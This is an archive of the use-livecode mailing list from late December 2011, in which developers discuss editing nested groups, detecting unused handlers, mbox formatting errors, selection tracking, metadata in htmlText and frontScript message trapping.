your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From capellan2000 at gmail.com Fri Dec 30 19:11:22 2011 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Fri, 30 Dec 2011 16:11:22 -0800 (PST) Subject: Error in mail list MBOX file format Message-ID: <1325290282717-4247238.post@n4.nabble.com> Hi All, The software that is storing the mail from this list, made two parsing errors in the mbox file. Download the file from: http://lists.runrev.com/pipermail/use-livecode/2011-December.txt.gz The software failed to mark two instances where the word "From" appears at the beginning of a line: http://en.wikipedia.org/wiki/Mbox "mboxo and mboxrd locate the message start by scanning for From lines that are typically found in the e-mail message header. If a "From " string occurs at the beginning of a line in either the headers or the body of a message (unlikely for the former for correctly formatted messages, but likely for the latter), the e-mail message must be modified before the message is stored in an mbox mailbox file or the line will be taken as a message boundary. This is typically done by prepending a greater-than sign:" >From my point of view... Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Error-in-mail-list-MBOX-file-format-tp4247238p4247238.html Sent from the Revolution - User mailing list archive at Nabble.com. From capellan2000 at gmail.com Fri Dec 30 19:31:53 2011 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Fri, 30 Dec 2011 16:31:53 -0800 (PST) Subject: Nested Group Frustrations In-Reply-To: References: <4EFE1078.1020100@hyperactivesw.com> <1141185250562.20111230121605@ahsoftware.net> Message-ID: <1325291513585-4247272.post@n4.nabble.com> This conversation brings me memories from the book "The Psychology of Everyday Things". Now renamed as "The Design of Everyday Things" http://www.amazon.com/Design-Everyday-Things-Donald-Norman/dp/0385267746 http://en.wikipedia.org/wiki/The_Design_of_Everyday_Things http://www.geocities.ws/serga_n_y/week6.html - Understand the causes of errors and design to minimize errors - Make it possible to undo actions before errors occur - Make it easier to discover errors, and make them easier to correct - Change our attitude toward errors. There are many ways to deal with potential errors. A simple popUp warning about the correct way to edit nested groups could prevent many foreseable problems in the future. These warnings should be available for new installations with the prevision that advanced users should be able to turn them off ONE by ONE. Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Nested-Group-Frustrations-tp4246507p4247272.html Sent from the Revolution - User mailing list archive at Nabble.com. From capellan2000 at gmail.com Fri Dec 30 19:34:19 2011 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Fri, 30 Dec 2011 16:34:19 -0800 (PST) Subject: dead handler detector? In-Reply-To: <4EFE1F21.20007@pdslabs.net> References: <4EFE1F21.20007@pdslabs.net> Message-ID: <1325291659982-4247277.post@n4.nabble.com> Comment them... One by One. And test... Not the ideal method but the safest. Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/dead-handler-detector-tp4246729p4247277.html Sent from the Revolution - User mailing list archive at Nabble.com. From capellan2000 at gmail.com Fri Dec 30 19:36:27 2011 From: capellan2000 at gmail.com (Alejandro Tejada) Date: Fri, 30 Dec 2011 16:36:27 -0800 (PST) Subject: Another Sly Laboratories innovation In-Reply-To: <2EF1BFCC-5631-493C-ABAB-2C51C7BE562E@twft.com> References: <2EF1BFCC-5631-493C-ABAB-2C51C7BE562E@twft.com> Message-ID: <1325291787391-4247286.post@n4.nabble.com> Amazing! Do you have an stack to play with? My first though is "How could I use this in my own stacks?" Thanks in advance! Al -- View this message in context: http://runtime-revolution.278305.n4.nabble.com/Another-Sly-Laboratories-innovation-tp4247130p4247286.html Sent from the Revolution - User mailing list archive at Nabble.com. From pete at mollysrevenge.com Fri Dec 30 20:19:04 2011 From: pete at mollysrevenge.com (Pete) Date: Fri, 30 Dec 2011 17:19:04 -0800 Subject: dead handler detector? In-Reply-To: <4EFE1F21.20007@pdslabs.net> References: <4EFE1F21.20007@pdslabs.net> Message-ID: Hi Phil, I assume you're trying to find handlers that are not referenced by any other handlers? I started on a stack a while back to do the reverse of that - cross reference where handlers are called from but it would show you which ones are not called from anywhere. I'll have to search round for it because I kinda left it alone in favor of doing other things but let me know if this is what you're looking for and I'll see if I can find it and see what state it's in. Pete On Fri, Dec 30, 2011 at 12:29 PM, Phil Davis wrote: > Hi folks - > > Does anyone have a dead handler detector they would like to share? I > looked in RevOnline but didn't find anything. > > It seems I'm always working on old code that contains handlers that have > been superseded by other handlers. I would like an easy way to find those > now-unused handlers and remove them. > > I realize the task of detecting dead handlers is conceptually simple but > more complex when it comes to implementation. Still, maybe you have built > such a thing that you wouldn't mind sharing. > > Happy New Year! (Is it too early to say that?) > -- > Phil Davis > > PDS Labs > Professional Software Development > http://pdslabs.net > > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From pete at mollysrevenge.com Fri Dec 30 20:24:46 2011 From: pete at mollysrevenge.com (Pete) Date: Fri, 30 Dec 2011 17:24:46 -0800 Subject: Nested Group Frustrations In-Reply-To: <1325291513585-4247272.post@n4.nabble.com> References: <4EFE1078.1020100@hyperactivesw.com> <1141185250562.20111230121605@ahsoftware.net> <1325291513585-4247272.post@n4.nabble.com> Message-ID: That's a great book - read a couple years back. The one example that sticks in my mind is - don;t put a pull handle on a door if you can only push it open! I'm feeling a lot better about editing groups now but there are still some circumstances that I don;t see any alternative but to ungroup and group again. Specifically, if there is an existing control that I want to place into a group. Using the Edit Group function doesn't help with that. Yes, I could have used the message box to create the control in the group but in this case, I didn't know I would want it in the group ahead of time (due to a card redesign). Plus I'd be much more inclined to do that if created controls bore at least some close resemblance to the controls created by dragging them from the tools palette! On Fri, Dec 30, 2011 at 4:31 PM, Alejandro Tejada wrote: > This conversation brings me memories from > the book "The Psychology of Everyday Things". > Now renamed as "The Design of Everyday Things" > > http://www.amazon.com/Design-Everyday-Things-Donald-Norman/dp/0385267746 > http://en.wikipedia.org/wiki/The_Design_of_Everyday_Things > > http://www.geocities.ws/serga_n_y/week6.html > > - Understand the causes of errors and design to minimize errors > - Make it possible to undo actions before errors occur > - Make it easier to discover errors, and make them easier to correct > - Change our attitude toward errors. There are many ways to deal with > potential errors. > > A simple popUp warning about the correct way to edit nested groups > could prevent many foreseable problems in the future. > > These warnings should be available for new installations with the > prevision that advanced users should be able to turn them off > ONE by ONE. > > Al > > -- > View this message in context: > http://runtime-revolution.278305.n4.nabble.com/Nested-Group-Frustrations-tp4246507p4247272.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From pete at mollysrevenge.com Fri Dec 30 20:24:46 2011 From: pete at mollysrevenge.com (Pete) Date: Fri, 30 Dec 2011 17:24:46 -0800 Subject: Nested Group Frustrations In-Reply-To: <1325291513585-4247272.post@n4.nabble.com> References: <4EFE1078.1020100@hyperactivesw.com> <1141185250562.20111230121605@ahsoftware.net> <1325291513585-4247272.post@n4.nabble.com> Message-ID: That's a great book - read a couple years back. The one example that sticks in my mind is - don;t put a pull handle on a door if you can only push it open! I'm feeling a lot better about editing groups now but there are still some circumstances that I don;t see any alternative but to ungroup and group again. Specifically, if there is an existing control that I want to place into a group. Using the Edit Group function doesn't help with that. Yes, I could have used the message box to create the control in the group but in this case, I didn't know I would want it in the group ahead of time (due to a card redesign). Plus I'd be much more inclined to do that if created controls bore at least some close resemblance to the controls created by dragging them from the tools palette! On Fri, Dec 30, 2011 at 4:31 PM, Alejandro Tejada wrote: > This conversation brings me memories from > the book "The Psychology of Everyday Things". > Now renamed as "The Design of Everyday Things" > > http://www.amazon.com/Design-Everyday-Things-Donald-Norman/dp/0385267746 > http://en.wikipedia.org/wiki/The_Design_of_Everyday_Things > > http://www.geocities.ws/serga_n_y/week6.html > > - Understand the causes of errors and design to minimize errors > - Make it possible to undo actions before errors occur > - Make it easier to discover errors, and make them easier to correct > - Change our attitude toward errors. There are many ways to deal with > potential errors. > > A simple popUp warning about the correct way to edit nested groups > could prevent many foreseable problems in the future. > > These warnings should be available for new installations with the > prevision that advanced users should be able to turn them off > ONE by ONE. > > Al > > -- > View this message in context: > http://runtime-revolution.278305.n4.nabble.com/Nested-Group-Frustrations-tp4246507p4247272.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From bobs at twft.com Fri Dec 30 20:46:28 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 30 Dec 2011 17:46:28 -0800 Subject: dead handler detector? In-Reply-To: References: <4EFE1F21.20007@pdslabs.net> Message-ID: <7380FDFC-02ED-4338-AB8D-4A720DEEA0D1@twft.com> Hmmm you know GLX2 has to do something like this, because it knows about every handler in the stack you are working with, because it will turn the command into a link that will go to the handler. If there is no handler, it will not create a link. So the work has already been done for you, you just need to DL GLX2 (which is now open source) from Mark Weider and dig in to find out how Jerry (the original developer) did it. It's dam quick I can tell you! Bob On Dec 30, 2011, at 5:19 PM, Pete wrote: > Hi Phil, > I assume you're trying to find handlers that are not referenced by any > other handlers? I started on a stack a while back to do the reverse of > that - cross reference where handlers are called from but it would show you > which ones are not called from anywhere. > > I'll have to search round for it because I kinda left it alone in favor of > doing other things but let me know if this is what you're looking for and > I'll see if I can find it and see what state it's in. > > Pete > > On Fri, Dec 30, 2011 at 12:29 PM, Phil Davis wrote: > >> Hi folks - >> >> Does anyone have a dead handler detector they would like to share? I >> looked in RevOnline but didn't find anything. >> >> It seems I'm always working on old code that contains handlers that have >> been superseded by other handlers. I would like an easy way to find those >> now-unused handlers and remove them. >> >> I realize the task of detecting dead handlers is conceptually simple but >> more complex when it comes to implementation. Still, maybe you have built >> such a thing that you wouldn't mind sharing. >> >> Happy New Year! (Is it too early to say that?) >> -- >> Phil Davis >> >> PDS Labs >> Professional Software Development >> http://pdslabs.net >> >> >> ______________________________**_________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/**mailman/listinfo/use-livecode >> >> > > > -- > Pete > Molly's Revenge > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bobs at twft.com Fri Dec 30 20:55:14 2011 From: bobs at twft.com (Bob Sneidar) Date: Fri, 30 Dec 2011 17:55:14 -0800 Subject: Nested Group Frustrations In-Reply-To: References: <4EFE1078.1020100@hyperactivesw.com> <1141185250562.20111230121605@ahsoftware.net> <1325291513585-4247272.post@n4.nabble.com> Message-ID: mmm yup it works fine. I created 4 buttons, grouped the first two, then grouped the second two, now I have two groups. I then grouped those two groups, so I have a group of two groups. Follow so far? Now I edit the top group, click one of the groups of 2 buttons and click edit group again. Now I only see the two buttons. I add a third button then click edit group again. I repeat this process with the second set of two buttons. Now I have 2 groups of 3 buttons each, grouped into a single group. I never had to click ungroup once. But maybe I am missing something. Oh, I have cut a control, edited a group and pasted the control, and that works too. Bob On Dec 30, 2011, at 5:24 PM, Pete wrote: > Specifically, if there is an existing control that I want to place > into a group. Using the Edit Group function doesn't help with that. From gregory.lypny at videotron.ca Fri Dec 30 20:56:48 2011 From: gregory.lypny at videotron.ca (Gregory Lypny) Date: Fri, 30 Dec 2011 20:56:48 -0500 Subject: libURL Script Error After Upgrading to LiveCode 5.02 In-Reply-To: References: Message-ID: <76CAB03D-20EF-444C-A18D-F40948521D15@videotron.ca> Thanks again Guglielmo, That?s a relief. The Rev team needs to get its act together. There are too many such incidences. Gregory On Fri, Dec 30, 2011, at 8:19 PM, use-livecode-request at lists.runrev.com wrote: > No, fortunately the standalone applications seem to work normally (/... > tried on OS X 10.6.8 and Win 7 64 bit/) ... :-) > > Guglielmo From tuvman at gmail.com Fri Dec 30 21:27:50 2011 From: tuvman at gmail.com (Tuviah Snyder) Date: Fri, 30 Dec 2011 18:27:50 -0800 Subject: [OT] LIve Video Streaming Message-ID: For live streaming you may want to look at Wirecast http://www.telestream.net/wire-cast/overview.htm you can use and mix IP webcams, firewire, and some logitech webcams do HD like the c910. PS. I work on the wirecast team and could not help myself;-) best, Tuviah From scott at tactilemedia.com Fri Dec 30 21:46:10 2011 From: scott at tactilemedia.com (Scott Rossi) Date: Fri, 30 Dec 2011 18:46:10 -0800 Subject: Nested Group Frustrations Message-ID: Pete, there really should be no need to go through the ungrouping hoops you're jumping through. In fact, take a look at the contextual menu you get when right clicking that includes "paste into group" -- this auto opens the group, pastes whatever object is currently on the clipboard, and stops editing the group. ?Really handy for a quick addition to a group. ?In probably 10 years or more of working with LiveCode type development, I have never run into a situation where ungrouping was needed to get an object into a group, and as others have said, you risk loosing scripts associated with the group, so you'd do well to avoid that practice. Best Regards, Scott Rossi Creative Director Tactile Media, UX Design -------- Original message -------- Subject: Re: Nested Group Frustrations From: Pete To: How to use LiveCode CC: use-revolution at lists.runrev.com That's a great book - read a couple years back.? The one example that sticks in my mind is - don;t put a pull handle on a door if you can only push it open! I'm feeling a lot better about editing groups now but there are still some circumstances that I don;t see any alternative but to ungroup and group again.? Specifically, if there is an existing control that I want to place into a group.? Using the Edit Group function doesn't help with that.? Yes, I could have used the message box to create the control in the group but in this case, I didn't know I would want it in the group ahead of time (due to a card redesign).? Plus I'd be much more inclined to do that if created controls bore at least some close resemblance to the controls created by dragging them from the tools palette! On Fri, Dec 30, 2011 at 4:31 PM, Alejandro Tejada wrote: > This conversation brings me memories from > the book "The Psychology of Everyday Things". > Now renamed as "The Design of Everyday Things" > > http://www.amazon.com/Design-Everyday-Things-Donald-Norman/dp/0385267746 > http://en.wikipedia.org/wiki/The_Design_of_Everyday_Things > > http://www.geocities.ws/serga_n_y/week6.html > > - Understand the causes of errors and design to minimize errors > - Make it possible to undo actions before errors occur > - Make it easier to discover errors, and make them easier to correct > - Change our attitude toward errors. There are many ways to deal with > potential errors. > > A simple popUp warning about the correct way to edit nested groups > could prevent many foreseable problems in the future. > > These warnings should be available for new installations with the > prevision that advanced users should be able to turn them off > ONE by ONE. > > Al > > -- > View this message in context: > http://runtime-revolution.278305.n4.nabble.com/Nested-Group-Frustrations-tp4246507p4247272.html > Sent from the Revolution - User mailing list archive at Nabble.com. > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From mwieder at ahsoftware.net Fri Dec 30 21:48:06 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Fri, 30 Dec 2011 18:48:06 -0800 Subject: [ANN] CRC-32 LiveCode stack In-Reply-To: <6B352DE2-C698-4B2D-AE53-B28333387476@twft.com> References: <1325264062194-4246201.post@n4.nabble.com> <3BB67A48-D6B3-479C-B557-AE45E1A14A07@twft.com> <1325288196165-4247179.post@n4.nabble.com> <6B352DE2-C698-4B2D-AE53-B28333387476@twft.com> Message-ID: <9912753921.20111230184806@ahsoftware.net> Friday, December 30, 2011, 3:56:58 PM, Bob wrote: > Nope. I get stacks using links all the time. It may be that the serving site has blocks I dunno. Settle down. The correct syntax is "go url", not "go stack". -- -Mark Wieder mwieder at ahsoftware.net From roger.e.eller at sealedair.com Fri Dec 30 21:52:00 2011 From: roger.e.eller at sealedair.com (Roger Eller) Date: Fri, 30 Dec 2011 21:52:00 -0500 Subject: [ANN] CRC-32 LiveCode stack In-Reply-To: <9912753921.20111230184806@ahsoftware.net> References: <1325264062194-4246201.post@n4.nabble.com> <3BB67A48-D6B3-479C-B557-AE45E1A14A07@twft.com> <1325288196165-4247179.post@n4.nabble.com> <6B352DE2-C698-4B2D-AE53-B28333387476@twft.com> <9912753921.20111230184806@ahsoftware.net> Message-ID: On Fri, Dec 30, 2011 at 9:48 PM, Mark Wieder wrote: > Friday, December 30, 2011, 3:56:58 PM, Bob wrote: > > > Nope. I get stacks using links all the time. It may be that the serving > site has blocks I dunno. > > Settle down. > > The correct syntax is "go url", not "go stack". > > -- > -Mark Wieder > mwieder at ahsoftware.net Confirmed. ;-) Good catch! ?Roger From jacque at hyperactivesw.com Fri Dec 30 22:48:56 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Fri, 30 Dec 2011 21:48:56 -0600 Subject: [OT] LIve Video Streaming In-Reply-To: References: Message-ID: <4EFE8628.5000408@hyperactivesw.com> On 12/30/11 8:27 PM, Tuviah Snyder wrote: > For live streaming you may want to look at Wirecast > > http://www.telestream.net/wire-cast/overview.htm > > you can use and mix IP webcams, firewire, and some logitech webcams do HD > like the c910. > > PS. I work on the wirecast team and could not help myself;-) Tuviah! So that's where you've been. :) -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From kkaufman at snet.net Fri Dec 30 23:48:40 2011 From: kkaufman at snet.net (Kurt Kaufman) Date: Fri, 30 Dec 2011 23:48:40 -0500 Subject: iOS; Android: manual sound recording level Message-ID: <4A099F21-2DBE-48F5-93BB-7DFB0ACEE41E@snet.net> I understand that on both iOS and Android, there is no provision for manual adjustment of sound recording levels. I assume that there must be some sort of compression scheme used to "average" the sound levels, with low level sound boosted and high level sound clipped. I also guess that there might be problems with background noise at very low sound levels, and distortion at very high sound levels. Anyone have experience working with sound recording on these two platforms? Thanks, Kurt From dunbarx at aol.com Sat Dec 31 00:15:33 2011 From: dunbarx at aol.com (dunbarx at aol.com) Date: Sat, 31 Dec 2011 00:15:33 -0500 (EST) Subject: The previous selection In-Reply-To: References: Message-ID: <8CE95925B4B81A2-B34-3606C@webmail-d060.sysops.aol.com> Bob. I played around with this for just a minute. The main issue is that the selectionChanged message is sent after the selection has changed, so that it is easy to get the new selectedText, but not the old. Perhaps the best route is to keep track of the most recent and next-most recent selections in a custom property of the field: on selectionChanged var set the recentText of me to item 2 of the recentText of me & "," & the selectedtext put the recentText of me into fld "mostRecent" --just for testing end selectionChanged I made a field "mostRecent" just to see the data. Select successive various text in the target field. You can now call either item of the custom property as needed. As you say, too bad the message doesn't natively know where it was as well as where it ends up. Craig Newman -----Original Message----- From: Bob Sneidar To: How to use LiveCode Sent: Fri, Dec 30, 2011 9:30 am Subject: The previous selection I vaguely remember a discussion a long time ago about getting the last thing selected, when you selected something different. In my case, I want to detect a selectionChanged, verify some things and then go back if the verification fails. I can code it, but I was hoping there would be something easier along the lies of: on selectionChanged theOldSelection Bob _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From mwieder at ahsoftware.net Sat Dec 31 00:18:13 2011 From: mwieder at ahsoftware.net (Mark Wieder) Date: Fri, 30 Dec 2011 21:18:13 -0800 Subject: Nested Group Frustrations In-Reply-To: References: <4EFE1078.1020100@hyperactivesw.com> <1141185250562.20111230121605@ahsoftware.net> <1325291513585-4247272.post@n4.nabble.com> Message-ID: <18521761343.20111230211813@ahsoftware.net> Pete- Friday, December 30, 2011, 5:24:46 PM, you wrote: > I'm feeling a lot better about editing groups now but there are still some > circumstances that I don;t see any alternative but to ungroup and group > again. Specifically, if there is an existing control that I want to place > into a group. Using the Edit Group function doesn't help with that. Yes, > I could have used the message box to create the control in the group but in > this case, I didn't know I would want it in the group ahead of time (due to > a card redesign). I usually do that the long way around: copy control x to group y rename control in group delete original control -- -Mark Wieder mwieder at ahsoftware.net From pete at mollysrevenge.com Sat Dec 31 01:18:07 2011 From: pete at mollysrevenge.com (Pete) Date: Fri, 30 Dec 2011 22:18:07 -0800 Subject: Nested Group Frustrations In-Reply-To: <18521761343.20111230211813@ahsoftware.net> References: <4EFE1078.1020100@hyperactivesw.com> <1141185250562.20111230121605@ahsoftware.net> <1325291513585-4247272.post@n4.nabble.com> <18521761343.20111230211813@ahsoftware.net> Message-ID: Thanks Scott and Mark. So may ways to do things in LC, it takes a while to find them all. Pete On Fri, Dec 30, 2011 at 9:18 PM, Mark Wieder wrote: > Pete- > > Friday, December 30, 2011, 5:24:46 PM, you wrote: > > > I'm feeling a lot better about editing groups now but there are still > some > > circumstances that I don;t see any alternative but to ungroup and group > > again. Specifically, if there is an existing control that I want to > place > > into a group. Using the Edit Group function doesn't help with that. > Yes, > > I could have used the message box to create the control in the group but > in > > this case, I didn't know I would want it in the group ahead of time (due > to > > a card redesign). > > I usually do that the long way around: > > copy control x to group y > rename control in group > delete original control > > -- > -Mark Wieder > mwieder at ahsoftware.net > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From admin at FlexibleLearning.com Sat Dec 31 05:12:11 2011 From: admin at FlexibleLearning.com (FlexibleLearning) Date: Sat, 31 Dec 2011 10:12:11 -0000 Subject: HTML: Private tag In-Reply-To: Message-ID: Can someone please remind me of the syntax to include a 'private' tag in the htmlText (one that can contain string data and is not removed by LC)? Hugh Senior FLCo From alex at tweedly.net Sat Dec 31 11:23:01 2011 From: alex at tweedly.net (Alex Tweedly) Date: Sat, 31 Dec 2011 16:23:01 +0000 Subject: dead handler detector? In-Reply-To: References: <4EFE1F21.20007@pdslabs.net> Message-ID: <4EFF36E5.2040403@tweedly.net> In some circumstances, it's not "more complex", it's "impossible". For example, something like -- don't do this for real :-) repeat forever ask "What should I do next?" if it = "quit" then exit repeat put it into tNextHandler do "tNextHandler" next repeat However, there are cases less egregious than this which can hide the handler name pretty thoroughly, so you need to decide just *how* far dead a handler needs to be in order to remove it :-) -- Alex. On 31/12/2011 01:19, Pete wrote: > Hi Phil, > I assume you're trying to find handlers that are not referenced by any > other handlers? I started on a stack a while back to do the reverse of > that - cross reference where handlers are called from but it would show you > which ones are not called from anywhere. > > I'll have to search round for it because I kinda left it alone in favor of > doing other things but let me know if this is what you're looking for and > I'll see if I can find it and see what state it's in. > > Pete > > On Fri, Dec 30, 2011 at 12:29 PM, Phil Davis wrote: > >> Hi folks - >> >> Does anyone have a dead handler detector they would like to share? I >> looked in RevOnline but didn't find anything. >> >> It seems I'm always working on old code that contains handlers that have >> been superseded by other handlers. I would like an easy way to find those >> now-unused handlers and remove them. >> >> I realize the task of detecting dead handlers is conceptually simple but >> more complex when it comes to implementation. Still, maybe you have built >> such a thing that you wouldn't mind sharing. >> >> Happy New Year! (Is it too early to say that?) >> -- >> Phil Davis >> >> PDS Labs >> Professional Software Development >> http://pdslabs.net >> >> >> ______________________________**_________________ >> use-livecode mailing list >> use-livecode at lists.runrev.com >> Please visit this url to subscribe, unsubscribe and manage your >> subscription preferences: >> http://lists.runrev.com/**mailman/listinfo/use-livecode >> >> > From ambassador at fourthworld.com Sat Dec 31 14:17:31 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Sat, 31 Dec 2011 11:17:31 -0800 Subject: HTML: Private tag In-Reply-To: References: Message-ID: <4EFF5FCB.8050106@fourthworld.com> Hugh Senior wrote: > Can someone please remind me of the syntax to include a 'private' tag in the > htmlText (one that can contain string data and is not removed by LC)? So far the only solution I've found for embedding metadata in text is to use a name attribute within an anchor tab, e.g.: There's the text When an anchor tag has no href attribute it's not rendered as a link, which makes it okay for this sort of metadata. However, if you later add an href attribute it will remove the name attrbute; apparently name and href are mutually exclusive in the current implementation. To provide more flexibility for this sort of thing I've submitted a request to support the span tag: -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From todd at geistinteractive.com Sat Dec 31 16:16:29 2011 From: todd at geistinteractive.com (Todd Geist) Date: Sat, 31 Dec 2011 13:16:29 -0800 Subject: Listen for messages in FrontScripts Message-ID: Hello What messages can you listen for in FrontScripts? I know user input messages can be intercepted there, but I am not sure about what other engine Messages, or if it is possible to listen for custom messages. Thanks & Happy New Year! Todd From sc at sahores-conseil.com Sat Dec 31 17:08:29 2011 From: sc at sahores-conseil.com (Pierre Sahores) Date: Sat, 31 Dec 2011 23:08:29 +0100 Subject: HTML: Private tag In-Reply-To: References: Message-ID: <2E0CDAF7-9182-4B87-9834-3B190250D8FC@sahores-conseil.com> client side field (set as htmltext) tag #dtexte=contents comes there=dtexte# server side code ### text block aligned to right : start ### replace "#dtexte=" with "" in tdata replace "=dtexte#" with "" in tdata ### text block aligned to right : end ### Best, Le 31 d?c. 2011 ? 11:12, FlexibleLearning a ?crit : > Can someone please remind me of the syntax to include a 'private' tag in the > htmlText (one that can contain string data and is not removed by LC)? > > Hugh Senior > FLCo > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Pierre Sahores mobile : 06 03 95 77 70 www.sahores-conseil.com From ambassador at fourthworld.com Sat Dec 31 17:11:44 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Sat, 31 Dec 2011 14:11:44 -0800 Subject: Listen for messages in FrontScripts In-Reply-To: References: Message-ID: <4EFF88A0.80702@fourthworld.com> Todd Geist wrote: > What messages can you listen for in FrontScripts? I know user input > messages can be intercepted there, but I am not sure about what other > engine Messages, or if it is possible to listen for custom messages. You can trap anything in a frontScript by just adding a handler with the name of the handler you want to trap. If you want to trap every message, command, and function call you can use the undocumented messageHandled message. Note that the messageHandled message is not sent by default. To activate it you'll need to set the undocumented messageMessages global property to true. If you use messageHandled, be aware that it will be called for EVERYTHING, so it may make a noticeable difference in performance. Useful for temporary diagnostic logging, but I don't use it for anything else. An example of messageHandled use is in the 4W Flight Recorder tool in Stacks section of RevNet - in the IDE choose Development->Plugins->GoRevNet. -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From todd at geistinteractive.com Sat Dec 31 18:38:25 2011 From: todd at geistinteractive.com (Todd Geist) Date: Sat, 31 Dec 2011 15:38:25 -0800 Subject: Listen for messages in FrontScripts In-Reply-To: <4EFF88A0.80702@fourthworld.com> References: <4EFF88A0.80702@fourthworld.com> Message-ID: Thanks, Richard!